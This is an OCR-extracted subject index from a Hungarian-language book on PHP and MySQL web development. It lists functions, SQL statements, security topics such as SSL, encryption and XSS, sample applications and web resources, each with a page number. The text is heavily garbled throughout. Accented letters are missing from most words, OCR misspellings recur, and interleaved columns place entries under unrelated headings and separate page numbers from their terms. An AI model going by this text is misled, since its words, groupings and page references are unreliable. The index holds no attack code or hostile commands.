sqlite3 kiterjeszts 5

332
rajzvszon ltrehozsa 333
szveg 334

PNG (Porrable Network Graphics) 332


knyvtr weboldala 622

j funkcii 5

pontosvessz (;)

Windows-tmogats 5, 628

MySQL 150, 186

Postnuke weboldala 634

POP (Post Office Protocol) 308

tmogatsa 331

Resource Index weboldala 634

posix_getgrgid() fggvny 303

WBMP (Wireless Bitmap) 332

Resource weboldala 633

posix_getpwuid() fggvny 302, 303

Kitchen weboldala 634

SOAP knyvtrak (Amazon) 568

postafiok_megnyitasa() fggvny 468

kdok 379

szerializls 362

Post Office Protocol (POP) 308

teleptse ll, 624

PostScript 541

hibk 387
hibakeress vltozkban 385

binris f.jlok teleptse 621

MySQL-jelszavak 283

forrs teleptse 624, 625

programozsi hibk 379

bettpusok letltse 332


Pretty Good Privacy (PGP) 283
print() fggvny 75

Windows 630

tulajdonos azonostsa 363

utastsok 15

printf() fggvny 76

utols mdosts idpontja 363

vltozk

private hozzfrs-mdost 112

vgrehajts lelltsa 361

azonosrk 20

privt kulcsok

konfigurlsa 624

rrkads 20

knyvtrak 622

felhasznl ltal deklarlt 20

Magazine weboldala 633

fggvnynevek a kdban 372

Product osztly 586

hatkr 22

Product.php fjl (Tahuayo alkalmazs) 571

mveleti jelek 22

Gnu Privacy Guard (GPG) 284


titkosts 239

aritmetikai mveleti jelek 23

szupergloblis 22

progex.php fjl 305

bitmvdeti jelek 26

rpusai 20

programhibk 255

csoporrosrhatsg 29
egyoperandus mveleti jelek 23

rlapvltozk elrse 17

elsbbsgi sorrend 29

ciklusok 35

rtkad mveleti jelek 20

declare 38

hromoperandus mveleti jel 27

feltteles utastsok 31

hibakezel mveleti jel 27

kiugrs-bl 37

karakterlncokon alkalmazhat
mveleti jelek 23
logikai mveleti jelek 26

a PHP 5.3 hibajavtsai 5

vezrlsi szerkezetek 31, 38

regresszls 255
programok. Lsd mg alkalmazsok
futtats parancssorbl 365
telept (Apache) 629
programozsi hibk 379, 380

webes forrsok 633

futsidej hibk 380

weboldal 370, 622

beviteli adatok ellenrzse 384

XML stlus 14

f.jlok olvassa/rsa 382

new mveleti jel 27

phplarchitect weboldal

sszehasonlt mveleti jelek 25

phpautodoc weboldal 375

kapcsolds adatbzishoz 382

tpusmveleti jel 28

PHP begyazsa HTML-be 13

nem ltez fggvnyek 381

633

hlzati kapcsolatok 383

tmbmveleti jel 28

fehrkz karakterek 15

logikai hibk 384

vgsszeg kiszntsa az rlapon 28

megjegyzsek 15

szintaktikai 379

vgrehajt 27

PHP

vessz mveleti jel 27


nyelvi szerkezetek
die() 361
exit 361
optimalzlsa 376
parancssor 365
PHP 5.3

protokollok 307

cmkk (tag) 14

alkalmazsrtegbeli 280

utastsok 15

File Transfer Protocol (FTP) 313

PHPBookmark alkalmazs

fjlfeltlts 318

fjlok 393

f.jlok biztonsgi mentse 313

ltrehozsa 391

fjlok tkrzse 313


ftp_get() fggvny 318

fggvnyknyvtrak 393

ftp_mdtm() fggvny 316

PHPBuilder.com weboldal

633

a Zend-motor fejlesztsei 5

PHPCommunity weboldal

633

crypt() mkdse-ban 5

phpdoc weboldal 375

ftp_size() fggvny 318

date_add() fggvny 328

PHP Extension and Application Repository

idtllpsek megelzse 318

date_sub() fggvny 328


dtum-/idfggvnyek-ban 5
fileinfo kiterjeszts 5

ftp_nlist() fggvny 318

nvtelen bejelentkezs 315

(PEAR)
teleptse 631

set_time_limit() fggvny 318

weboldala 633

FTP (File Transfer Protocol) 42

hash() mkdse-ban 5

PHPindex.com weboldal

hibajavtsok 5

phpinfo() fggvny 544, 306

hibajelents 5

php.ini f.jl

634

HTTP (Hyperrext Transfer Protocol)


280
fjlok megnyitsa 42

id-/drumfggvnyek -ban 5

adminisztrlsa PHP 5.3-ban 5

kzfogs (handshaking) 280

ind kiterjeszts 5

auto_append_file 95

Secure Sockets Layer (SSL) 280

md5() mkdse-ban 5

auto_prepend_file 95

MySQLnd driverek 5

direktvk szerkesztse 364

IMAP (Internet Message Access


Protocol) 308

nvterek 5

PHPMyAdmin.Net weboldal

PCRE kiterjeszts 5

PHPOklevel.pdf fjl (oklevelek projekt)

phar kiterjeszts 5

633

544

IP (Internet Protocol) 280


NNTP (Network News Transfer
Protocol) 308

php.ini adminisztrlsa-ban 5

PHPOklevel.rtf f.jl (oklevelek projekt) 544

POP (Post Office Protocol) 308

Reflection kiterjeszts 5

PHPWizard.net weboldal

RFC (Requests for Comments) 307

633

651

652

Trgymurat

SMTP (Simple Maii Transfer Protocol)


308,451
TCP (Transmission Control Protocol)

rename() fggvny 304

SCRIPT stlus (PHP cmkk) 14

rendelsi rlapok

SearchDatabase.com weboldal

feldolgozsa 13

280

sajat_hibakezelo() fggvny 389

rendeles_beszurasa() fggvny 440

(S-HTTP) 279

ltrehozsa 12

vermek 280

segdalkalmazsok

rendezs

prototpusok

karakterlncok

fggvnyek 96

myisamchk 204

strcasecmp() fggvny 80

SELECT jogosultsgok 153

public hozzfrs-mdost 112

strcmp() fggvny 80

SELECT mellkgak 174

putenv() fggvny 306

strnatcmp() fggvny 80

SELECT utastsok 167

kd 375

PX-PHP Code Exchange weboldal

633

rendszerek
biztonsgos tranzakcik 279

kapacitsbeli korltok (zleti weboldalak)

RAl D (Redundant Array of lnexpensive

opercis 198

229
Disks) 242
rajzols
fggvnyek 334
kpek,kdok 333
szveg 334
rajzvszon 338
kpek ltrehozsa 333

634

Secure Hypertext Transfer Protocol

REPLICATION CLIENT jogosultsg 153

smk
Book-O-Rama alkalmazs 149
serialize() fggvny 362
session_set_cookie_params() fggvny 350
session_unregister() fggvny 352
set_error_handler() fggvny 389

REPLICATION SLAVE jogosultsg 153

set_time_limit() fggvny 318

replikci

SET tipus 163

adatbzisok 206
slave szerverek 206

settype() fggvny 30
SGML (Standard Generalized Markup
Language) 564

Requests for Commems (RFC) 307


require() utasts 90

sha1() fggvny 269

range() fggvny 56

auto_append_file (php.ini fjl) 95

shell szkript stlus megjegyzsek 15

RDBMS (relcis adatbzis-kezel

auto_prepend_file (php.ini f:ijl) 95

showCart() fggvny 597

rendszerek) 165
Redundant Array of lnexpensive Disks
(RAID) 242
redunds adatok elkerlse ( webes
adatbzisok) 144

fjlnvkiterjesztsek 91

SHOW COLUMNS utasts 200

PHP cmkk (tag) 91

SHOW DATABASES utasts 199

weboldalsablonok 91

ShowSmallCart() fggvny 576

REST /XML (Amazon) 585,591

show_source() fggvny 364

rszsztringek

SHOW TABLES utasts 200

Reflection API 129

cserje 83,88

SHOW utasts 199

Relleeeion kiterjeszts 5

elrse 80

S-HTTP (Secure Hypertext Transfer

regisztracios_urlap_megjelenitese()

keresse 81

fggvny 397
regisztracios_urlap.php fjl (PHPBookmark
alkalmazs) 393
regisztracio_uj.php fjl (PHPBookmark
alkalmazs) 393

keress s csere 83

Protocol) 279
Simple Maii Transfer Protocol (SMTP)
308,451

strchr() fggvny 82
stristr() fggvny 82

skalris vltozk 55

strpos() fggvny 82

Slasbdot weboldal 265,517

strrchr() fggvny 82

slave szerverek

regisztral() fggvny 400

strrpos() fggvny 82,83

adatbzis replikci 206

regresszls 255

strstr() fggvny 82

replikci 207

regulris kifejezsek 83
karakterek
kszletek 84
osztlyok 84
Perl 83
rekordok
tblk 142

szmszer pozci 82

SMTP (Simple Maii Transfer Protocol)


308,451

rerum kulcssz 103


reverse spam 234

SOAP (Simple Object Access Protocol)


564

REVOKE parancs 154


rewinddir() fggvny 300
RFC (Requests for Comments) 307
RFC Editor weboldal 319,320

Amazon 563
knyvtrak 567
PHP SOAP knyvtrak (Amazon) 568
sorok

rekurzv fggvnyek 104

RGB (vrs,zld s kk) 334

relcis adatbzisok 141,143

Rich Text formtum (RTF) 541

rtkek 142

elnyei 141

rmdir() fggvny 302

visszaadsa 175

kapcsolatok

r+ megnyitsi md 41

SourceForge weboldal 375, 634

egy a sokhoz pus kapcsolatok 143

rosszindulat kd befecskendezse 247

spam 234

egy az egyhez pus kapcsolatok 143

rvid stlus (PHP cmkk) 14

SPL kiterjeszts 5

sok a sokhoz pus kapcsolatok 143

rvid stlus rlapvltoz 17

sprintf() fggvny 76

rtf.php fjlok 544

sqlite3 kiterjeszts 5

RTF (Rich Text Format) 541

SQL (Structured Query Language) 165

kulcsok 142
elsdleges kulcsok 142
idegen kulcsok 143
smk 143

sablonok ltrehozsa 542


rtrim() fggvny 75

S,Sz

relatv elrsi tvonalak 41

ltrehozsa 165
tblkat feltlt kd 166

oszlopok 142
sorok 142

meghatrozsa 165
Book-O-Rama adatbzis

tblk 141
rtkek 142

adatbzisok 167

sablonok
weboldalak 91

Course weboldala 634


DDL (Data Definition Language) 165

Trgymutat

DML (Data Manipulaeion Language)


165

kd 253

ARCHIVE 210
Book-O-Rama adatbzis 166

sznek

karakterlncok biztonsga 252

gombok 338

columns_priv 194

RDBMS (relcis adatbzis-kezel

RGB (vrs, zld s kk) 334

csv 210

szveg 336

db 194

rendszerek) 165
webes forrsok 634
SSL (Secure Sockets Layer) 233,279, 621
adatok kldse 281

sznkiemels
forrskd 364
szintakcika 379

grant 194
hatkrmezk 195
host 194

DESCRIBE utasts 201

ideiglenes 177

protokollvermek 280

forrskd sznkiemelse 364

InnoDB 210

tesztelse 627

hibk 379

kzfogs (handshaking) 280

tmrts 281

kls kulcsok 211


tranzakcik 210

szaftver

zleti weboldalak 225

fejleszts 369

starrup paramterek 628

frisstse 256

statikus ktsek 125

hibk 228, 235

kulcsok 142
elsdleges kulcsok 142
megvltoztatsa 177

statikus metdusok ltrehozsa 124

fejlesztk hibs felttelezsei 235

MEMORY 209

stluslapok

nem megfelel tesztels 235

MERGE 209

pontatlan specifikcik 235

MyiSAM 209

CSS 601
stratgik

perszanalizlt dokumentumok 542

zleti weboldalak 229


strcasecmp() fggvny 80

RTF 542
szolgltatsmegtagadssal jr tmads
(DoS) 234,262

strchr() fggvny 82
strcmp() fggvny 80
srripslashes() fggvny 78,184, 199, 282

szolgltatsok

strlen() fggvny 81

tbbletrtk hozzadsa 226

srrnatcmp() fggvny 80

szorzs mveleti jel 23

Srronghold weboldal 241

szveg

strpos() fggvny 82

egyszer szveg (titkosts) 238


lsimtsa 334

str_replace() fggvny 83,550

gombok
sznek/bettpusok 336

strrpos() fggvny 83
srrstr() fggvny 82, 412

illesztse gombokra 339

strtok() fggvny 79

kpek
megnyitsa
fopen() fggvny 41

struktrk

rajzolsa vagy rsa kpekre 334


titkostott szveg (titkosts) 238
szveges fjlok 39

switch utastsok 33

beolvassa 40

system() fggvny 305

rsa 40

szmszer pozci

megnyitsa 40

keresse karakterlncokban 82

megnyitsi mdok 40

szavazas_beallitasa.sql fjl 342

szveg illesztse gombokra 339

szemlyre szabott tartalom megjelentse

szl csompontok (webes frum

alkotelemek 391

kd 32,373
393
tanst szervezetek (CA) 240
tanstvny-alrsi krelem (CSR) 241
trhelyszolgltats 258
trols
adatok. Lsd mg fjlok 39

ltrehozsa 336

strtolower() fggvny 77

user 194
tagols
tag.php fjl (PHPBookmark alkalmazs)

strrchr() fggvny 82

Summary weboldal 223

rtkek 142
trlse 179

hozzadsa 308
rendelsek fogadsa 223

knyvtr 373

sorok 142
tables_ptiv 194

strip_tags() fggvny 282

substrO fggvny 80

DESCRIBE utasts 201


smk 143

rtkestse 226

stristr() fggvny 82

strtoupper() fggvny 77

oszlopok 142

fasrruktrja) 518

biztonsgos 282
jelszavak 198,267
karakterlncok 78
addslashes() fggvny 78
stripslashes() fggvny 78
redundns adatok (webes adatbzisok)
144
trolmotorok 209
ARCHIVE tblk 210

csv tblk 210


InnoDB tblk 210
kls kulcsok 211
tranzakcik 210

felhasznli nevek 392

sznetmentes tpegysg (UPS) 243

MEMORY tblk 209

felhasznJk 391

szupergloblis vltozk 22

MERGE tblk 209

felhasznli nevek 392

szrs

MyiSAM 209

jelszavak 392

beviteli adatok (webes adatbzisok) 184

trol (verzikvers) 374

knyvjelzk 392

felhasznli bevitel 249

trolt eljrsok 212


deklarlsa 212

jelszavak 392
knyvjelzk
ajnlsa 392
szerializls 362
szerverek
biztonsgos trolsa 282
biztonsgos webszerverek 240
hitelests 238
szervezs

kurzorok 214

trolt fggvnyek deklarlsa 213


vezrlsi szerkezetek 214

t11ib
letltse 332
tblk
adatbzisok
biztonsgi ments 206
optimalizlsa 205

trolt fggvnyek deklarlsa 213


tartalom (kd) 376
tvoli FTP kapcsolatok 315
TCP/IP ( Transmission Control Protocol/
Internet Protocol)

653

654

Trgymutat

biztonsg 233

privt kulcsok 239

biztonsgos trols 282

TCP (Transmission Control Protocol) 280

titkosrs (kripcogrlia) 238

felhasznli bevitel szrse 282

telepts

titkostott szveg 238

felhasznlk szmtgpei 278

Apache Windows alatt 629

titkostott szveg (titkosts) 238

Incemet 278

binris fjlok 622

t megnyitsi md 41

rendszerek 279

forrs teleptse 622

tbbalaksg 108

Secure Sockets Layer (SSL) 280

GPG (Gnu Privacy Guard) 283

tbbdimenzis tmbk 55

webes bngszk 278

MIME levelezcsomag 631

hromdimenzis tmbk 61

InnoDB tblk 210

mod_auch_mysql modul 275

ktdimenzis tmbk 59

meghatrozsa 210

MySQL 628

rendezse 63

PEAR (PHP Extension and Application

felhasznl ltal meghatrozott

Repository) 631
PHP ll, 624, 625

rendezsek 63
forditott rendezs 64

vglegestett 210
visszagrgetett 211
trim() fggvny 75, 184
T ripwire weboldal 234

telept (Apache) 629

tbb programoz 374

terenkek (zleti weboldalak)

tbbsoros megjegyzsek 16

try blokkok (kivtelkezels) 131

tbbszri felhasznls, kd

tkrzs

digitlis termkek rtkestse 226


rendelsek fogadsa 223
tbbletrtk hozzadsa 226
cerenkek vagy szolgltatsok megrendelse
(zleti weboldalak) 223

elnyei 89

TrueType bettpusok 336

fjlok

egysgessg 90

FTP fggvnyek 313

kltsg 89

bejelentkezsek 316

megbzhatsg 89

frissts idpontjnak ellenrzse 316

bizalom 225

include() utasts 90, 95

kapcsolatok boncsa 318

felhasznli felletek 225

require() utasts 90, 95

leeltsek 317

kompatibilits 226

auro_prepend_file (php.ini fjl) 95

megvlaszoladan krdsek 224

fjlnvkitetjeszcsek 91

termszetes rendezs
weboldal 81
tesztels
GPG (Gnu Privacy Guard) 285
karakterlncok hossza 81

PHP cmkk (tag) 91


weboldalsablonok 91
tbbszrs definils
fggvnyek 99
mecdusok 126

kd 377

tbbszrs rklds 116

mod_auth_mysql modul 275

tmbk 55

PHP
teleptsek 631
PHP tmogats 626

tvoli kapcsolatok 315


RAID (Redundanc tmb of Inexpensive
Disks) 242
rulajdonos (kdok)
azonostsa 363
rulajdonsgok
fjlrulajdonsgok
megvltoztatsa 304

tzfalak 242, 261

asszociatv 57
befoglal keretek tartalma 340
elemek 56

U,

regresszls 255

indexek 56

ucfirsc() fggvny 77

SSL 627

kzepes stlus rlapvltoz 18

ucwords() fggvny 77

cecelek_szamolasa() fggvny 436

mveleci jelek 23, 59

uj_hozzaszolas.php fjl

TEXT tpus 162

numetikusan indexele tmbk

Thawce weboldal 236, 240

webes frum 519

bejrsa ciklusokkal 57

uj_hozzaszolas_carolasa() fggvny 536

throw mellkg 133

ltrehozsa 56

uj_hozzaszolas_tarolasa.php fjl (webes

TIFF knyvtr weboldala 622

eartalom elrse 56

tpus

szupergloblis 18

frum) 519
uj_konyvek.txt 209

jelzs 125

bejrsa ciklusokkal 58

ujKonyvjelzoHozzaadasa()fggvny 611

konverzis specifilcicik tpuskdjai 77

each() fggvny 58

j szofrververzik belltsa 257

tpusmveleci jel 28

ltrehozsa 57

j szofrververzik iizembe helyezse 257

tpusknyszerts (vltozk) 21

list() fggvny 58

umask() fggvny 302

titkosrs (kriptogrfia) 238

tartalom elrse 57

titkosts 238, 283


adatok 282
algoritmus 238

tbbdimenzis 55
tmrts
SSL (Secure Sockets Layer) 281

uni mveleti jel 59


Unix
binris fjlok teleptse 622
date() fggvny 322

Data Encryption Standard (DES) 239

topbar.php fjl 571

forrs teleptse 624, 625

digitlis alrsok 239

trls

httpd.conf fjl 626

digitlis tanstvnyok 240

adatbzisok 179

PHP tesztelse 626

egyszer szveg 238

couch() fggvny 304

SSL tesztelse 627

GPG (Gnu Privacy Guard) 283

tovbbfejlesztsi lehetsgek

kulcsprok 284
telepts 283
tesztelse 285
hash fggvnyek 240

perszanalizlt dokumentumok 562


webes frum 538
craceroute parancs (UNIX) 233
tranzakcik 210

traceroute parancs 233


UNIX_TIMESTAMP() fggvny 326
unlink() fggvny 304
unserialize() fggvny 362
UN SIGNED kulcssz 157

jelszavak 198, 269

ACID-kompatibilis 210

nyilvnos kulcsok 239

aucocommit md 210

UPS (sznetmentes tpegysg) 243

PGP (Pretty Good Privacy) 283

biztonsgos cranzakcik 277

UPS weboldal 226

UPDATE jogosultsg 153

Trgymutat

url_ajanlo() fggvny 417

audcls 241

hatkr 22

rlapok

biztonsgi hzirendek ltrehozsa 236

szupergloblis 22

biztonsgos webszerverek 240

tpusai 20

Bob autalkatrszek alkalmazs

dgitlis alrsok 239

vgsszeg kiszmtsa mveleti jelekkel 28

dgitlis tanstvnyok 240

Bob autalkatrszek alkalmazs 12, 13


feldolgozsa 13
ltrehozsa 12

tpuserssg 20

fizikai biztonsg 242

tpusknyszerts 21

hitelests 237

rlapok

vltoz vltozk 21

fenyegetsek 232
hash fggvny 240

vltozk elrse 17

adattpusok 20

rlapvltozk 17
vltozk

jelszavak 237

fggvnyvltozk 99

urlencode() fggvny 270, 310

naplzs 241

globlis vltozk 101

url_fuggvenyek.php fjl { PHPBookmark

tanst szervezetek {CA) 240

helyi vltozk l O l

tanstvny-alrsi krelem {CSR) 241

hibakeress 385

HTML 182,293

alkalmazs) 393

titkosts 238

USAGE jogosultsg 154


user tblk 194

hitelests 232

utastsok

kockzatai 227

krnyezeti fggvnyek 306


munkamenecek 349
crlse 351

ALTER TABLE 177

crackerek 227

skalris vltozk 55
tmbk 55

break utasts 38

hardverhiba 228

continue utasts 38

jogi szablyozs s adrendszer 229

asszociatv tmbk 57

DELETE 179

kvnt zleti eredmny elmaradsa 228

elemek 56

DESCRIBE 201

rendszer-kapacitsbeli korltok 229

indexek 56

describe user; 194

szoftverhibk 228

mveleti jelek 59

DROP TABLE 179

szolgltati hibk 228

numerikusan indexelt tmbk

elfordtott 189

verseny 228

else utastsok 32

kltsgcskkents 227

else if utastsok 33

kompatibilicsa 226

EXPLAIN GRANT 200, 201

online katalgnsok 221

if utastsok 32

hibi 222

include() utasts 90

jellemz hinyossgaik 223

auto_append_file {php.ini fjl) 95

SSL {Secure Sockets Layer) 225

auto_prepend_file {php.ini fjl) 95

stratgik kivlasztsa 229

INSERT 165

szolglcatsok s dgitlis termkek


rtkestse 226

kis- s nagybet klnbsge MySQL-ben

150

termkek vagy szolglcatsok


megrendelse 223

LOAD_DATA_INFILE 209

tartalmnak elrse 56
tbbdmenzis tmbk 59
trlse 351
valtozok_kiiratasa.php fjl 385
vsrls nyomon kvetse {online kosr
alkalmazs) 419
vasarlas.php fjl {online kosr alkalmazs)

422
vdkarakterek 78
vglegestett tranzakcik 210
vgrehajts
parancssor 365

PHP utastsok 15

tpusai 221

vgrehajts lelltsa {kdok) 361

switch utastsok 33

tbbletrtk hozzadsa termkekhez

vgrehajt mveleti jel 27,255

vagy szolgltatsokhoz 226

sszekapcsols tpusai 203


oszloprtkek 204
require() utasts 90
auto_append_file {php.ini fjl) 95

tzfalak 242
visszatrtsi szablyzat 225
zleti weboldalak kockzatai

VeriSign
weboldal 236
VeriSignweboldal 240
verzikvers {code)

auto_prepend_file {php.ini fjl) 95

crackerek 227

CV S { Concurrent Versions System) 374

fjlnvkiterjesztsek 91

hardverhiba 228

tbb programoz 374


verzikvers {kd) 374

PHP cmkk {tag) 91

jogi szablyozs s adrendszer 229

weboldalsablonok 91

kvnt zleti eredmny elmaradsa 228

CVS {Concurrent Versions System) 374

rerum kulcssz 103

rendszer-kapacitsbeli korltok 229

trol 374

SELECT 167

szoftverhibk 228

SHOW 199

szolglcaci hibk 228

vessz {mveleti jel) 27

SHOW COLUMNS 200

verseny 228

vezrlsi szerkezetek 31,38


ciklusok 35

SHOWDATABASES 199
SHOWTABLES 200
utlagos cskkents mveleti jel 24

declare 38

feltteles utastsok 31

utlagos nvels mveleti jel 24

VAGY mveleti jel 26

uzenet_kuldese() fggvny 474

vals vilgbeli objektumok modellezse

uzenet_megjelenitese() fggvny 470


uzenet_torlese() fggvny 473
uzenec_visszakeresese() fggvny 470

tbb programoz 374

{webes adatbzisok) 144


vltozk 19,21,100
azonosrk 20

Iciugrs -bl 37
trolt eljrsok 214
visszaads
rtkek 103
visszagrgetett rranzakcik 211

rtkek hozzrendelse 20

visszakvets {fggvnyek) 133

adatvdelmi nyilatkozat 225

felhasznl ltal deklarlt vltozk 20

visszatrs

a trole informci fontossga 231

fggvnyek 30

zleti weboldalak 219, 221

biztonsg 231
adatok biztonsgi mencse 242

llapotnak ellenrzse 31
tpusbelltsi-ellenrzs 30

fggvnyekbl 103
visszatrsi
rtkek 63

655

656

Trgymutat

Magazine 633

visszatrtsi szablyzat 225

fasttuktra 518

vrs, zld s kk (RGB) 334

megolds alkotelemei 517

naptrfggvnyek 329

megolds ttekintse 518

Resource 633

WebMonkey.com weboldal

w
W3C weboldal 564
Warm Maii alkalmazs (e-mail kliens)
fjlok 453
fellet 452
!MAP fggvnyknyvtr 451
megolds ttekintse 452
megoldsok
komponensek 451
WBMP (Wireless Bitmap) 332
Webalizet weboldal 223
WeberDev.com weboldal

633

webes adatbzisok 144


architektrja 181
lekrdezse 184
adatbzisok kivlasztsa 185
adatok hozzadsa 187
beviteli adatok 184
elfordtott utastsok 189
eredmnyek visszakeresse 186
kapcsolat belltsa 185
kapcsolat bontsa adatbzisokkal 187
mysqli_query() fggvny 185
tervezse 144
vals vilgbeli objektumok modellezse
144
webes alkalmazsok projehjei
dokumentci 375
fejlesztkrnyezet 375
kezelhet kd rsa 371
darabokra bonts 373
elnevezsi szoksok 371
fiiggvnyknyvtrak 374
knyvtrstruktrk 373
megjegyzsek hasznlata 372
programozsi szablyok 371
tagolsa 373
kd tesztelse 377
kd tbbszri felhasznlsa 370
logika 376
megvalstsa 370
mkdsi logika 376
prototpusok 375
szaftverfejleszts 369
tervezse 370
verzikvers 374
webes bngszk
biztonsgos tranzakcik 278
hitelests 237
webes fejleszts

635

webes forrsok

633,634

Apache 634
MySQL s SQL 634
PHP 633
webfejleszts 635
webes frum 517
csomaponc osztly 518
fjlok 519

634

weboldalak

Resource Index 634


phplarchicect 633

Adobe Acrobat 543

phpauradoc 375

Adobe,FDF 551

PHPBuilder.com 633

AMANDA (Advanced Maryland

PHPCommunity 633

Autamated Necwork Disk

phpdoc 375

Archiver) 242

PHPindex.com 634

Analog 223

PHPMyAdmin.Net 633

ANSI-szabvny 179

PHPWizard.net 633

Apache 622

PNG knyvtr 622

Apache Sofrware 634

PNG (Porcable Necwork Graphics) 332

Apache Today 635

Poscnuke 634

Apache Week 634

PX-PHP Code Exchange 633

Base Libraty 634

RFC Edtor 319,320

BUGTRAQ archvumok 297

sablonok 91

CGI-specifikci 306

SearchDatabase.com 634

Codewalkers 634

Slashdot 265, 517

CV S (Concurrent Versions System) 374,

SourceForge 375,634

378

SQL Course 634

Devshed 348, 633

Srronghold 241

EPA 243

Summary 223

Evil Walrus 634

szolglcatsok hozzadsa 308

Extreme Programming 378

termszetes rendezs 81

FDF 551

Thawte 236,240

Fedex 226

TIFF knyvtr 622

FishCartSQL 450

Tripwire 234

FPDF fggvnyknyvtr 543

UPS 226

GD dokumentci 348

VeriSign 236,240

GNU Privacy Guard 283

W3C 564

hitelests 270

Webalizet 223

hitelests dokumentcija 276

WeberDev.com 633

HotScripts.com 634

WebMonkey.com 634

IMAP c kliens 622

Zend 348

JPEG (Joint Phocographic Experts

Zend.Com 633

Group) 332
JPEG knyvtr 622
MySQL 149,208,622
dtum- s idfggvnyek 329
online kziknyv 164
Netscape
SSL 3.0 specifikci 289
stik (cookie-k) specifikcija 350

zlib knyvtr 622


Web Services. Lsd mg SOAP
felletek (Amazon) 567
webszerverek
Apache. Lsd Apache webszerver
hitelestse 238
biztonsgos trols 282
biztonsgos webszerverek 240

New York Times 265

fjlfelelts 295

OpenSSL 622

Microsoft IlS konfigurlsa 258

PEAR (PHP Extension and Application


Repository) 633
PECL 633
Philip and Alex's Guide to Web
Publishing 635
PHP 370,622

parancsok 304
webes adatbzis architektrja 147
W HERE mellkg 168
sszehasonlic mveleti jelek 168
while ciklusok 36
W indows

Application Tools 634

Apache 629

Center 634

MySQL 628

Classes Repository 634

PHP 630

Club 634
Developer 634
Developer's Network Unilied Forums
634

Apache-konfigurcik 631
tesztels 631
tmogats 5,628
W ireless Bitmap (WBMP) 332

Homepage 634

w megnyitsi md 41

Kitchen 634

w+ megnyitsi md 41

Trgymutat

gykrelemek 566
meghatrozsa 564

XHTML (Extensible Hypertext Markup


Language) 601
x megnyitsi md 41
x+ megnyitsi md 41
XML (Extensible Markup L anguage) 563,
602

nvterek 566

zr cmkk (XML) 565

plda 564

Zen d

SGML (Standard Generalized Markup


Language) 564
stlusok 14
XML HT T PRrequest objektum 603

cmkk (zr s nyit) 565

XSLT (XSL Transformations) 602

DT D (Document Type Delinition) 565

XSS (Cross Site Scripting) tmadsok 247

rtelmezse (Amazon) 568

weboldal 88
Zend motorok
fejlesztsei PHP 5.3-ban 5
Optimizers 377
weboldala 633
zlib knyvtr weboldala 622

657

You might also like